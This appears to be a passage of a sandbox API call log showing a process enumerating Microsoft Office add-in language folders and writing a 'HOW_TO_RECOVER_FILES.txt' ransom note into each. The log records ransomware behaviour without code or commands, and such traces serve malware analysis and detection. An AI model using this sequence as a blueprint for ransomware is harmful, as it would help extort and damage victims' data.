GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv", lpFilePart=0x0) returned 0x51 [0227.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0227.882] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.882] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3a5b63a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3a5b63a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.883] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.883] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb713a45, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb713a45, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb78613f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.883] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.883] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16035c5a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sv.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.883] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16035c5a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sv.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.884] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0227.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0227.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0227.886] GetFileType (hFile=0x768) returned 0x1 [0227.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.886] GetFileType (hFile=0x768) returned 0x1 [0227.887] WriteFile (in: hFile=0x768, lpBuffer=0x3ad5868*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3ad5868*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.888] CloseHandle (hObject=0x768) returned 1 [0227.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th", lpFilePart=0x0) returned 0x51 [0227.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0227.926] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.926] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c66c57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x161b33fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.926] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.926] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.926] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf81bae82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf81bae82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.927] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16166f59, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.th.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.927] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.927] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0227.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th", lpFilePart=0x0) returned 0x51 [0227.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0227.928] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.929] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c66c57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x161b33fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.929] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.929] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.929] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf81bae82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf81bae82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.929] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16166f59, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.th.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.929] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16166f59, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.th.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.930] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0227.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0227.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.933] GetFileType (hFile=0x860) returned 0x1 [0227.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.933] GetFileType (hFile=0x860) returned 0x1 [0227.933] WriteFile (in: hFile=0x860, lpBuffer=0x374c3e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x374c3e8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.934] CloseHandle (hObject=0x860) returned 1 [0227.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.935] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr", lpFilePart=0x0) returned 0x51 [0227.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0227.937] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.938] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x196cd32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x196cd32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.938] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x514e0d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x514e0d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5174318, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.938] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.938] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1de43d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4910, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.938] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16140cde, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f05e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.tr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.938] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.938] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0227.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr", lpFilePart=0x0) returned 0x51 [0227.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0227.940] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.940] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x196cd32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x196cd32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4458, dwReserved0=0x0, dwReserved1=0x0, 